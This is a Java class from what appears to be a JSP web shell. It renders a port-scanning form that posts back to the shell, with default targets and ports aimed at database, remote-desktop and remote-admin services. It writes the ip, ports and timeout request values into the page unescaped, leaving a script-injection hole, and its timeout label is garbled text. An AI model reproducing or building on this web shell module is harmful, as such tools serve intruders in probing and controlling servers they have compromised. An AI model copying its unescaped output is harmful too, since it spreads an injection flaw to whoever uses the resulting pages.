package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.Utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.PrintWriter;

public class VPortScanInvoker extends DefaultInvoker {
        public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession JSession) throws Exception {
            try {
                PrintWriter out = response.getWriter();
                String ip = request.getParameter("ip");
                String ports = request.getParameter("ports");
                String timeout = request.getParameter("timeout");
                if (Utils.isEmpty(ip))
                    ip = "127.0.0.1";
                if (Utils.isEmpty(ports))
                    ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
                if (Utils.isEmpty(timeout))
                    timeout = "2";
                out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>" +
                        "<h2 id=\"Bin_H2_Title\">PortScan &gt;&gt;</h2>" +
                        "<div id=\"YwLB\"><form action=\"" + SHELL_NAME + "\" method=\"post\">" +
                        "<p><input type=\"hidden\" value=\"portScan\" name=\"o\">" +
                        "IP : <input name=\"ip\" type=\"text\" value=\"" + ip + "\" id=\"ip\" class=\"input\" style=\"width:10%;margin:0 8px;\" /> Port : <input name=\"ports\" type=\"text\" value=\"" + ports + "\" id=\"ports\" class=\"input\" style=\"width:40%;margin:0 8px;\" /> Timeout ���룩 : <input name=\"timeout\" type=\"text\" value=\"" + timeout + "\" id=\"timeout\" class=\"input\" size=\"5\" style=\"margin:0 8px;\" /> <input type=\"submit\" name=\"submit\" value=\"Scan\" id=\"submit\" class=\"bt\" />" +
                        "</p>" +
                        "</form></div>" +
                        "</td></tr></table>");
            } catch (Exception e) {
                e.printStackTrace();
                throw e;
            }
        }
    }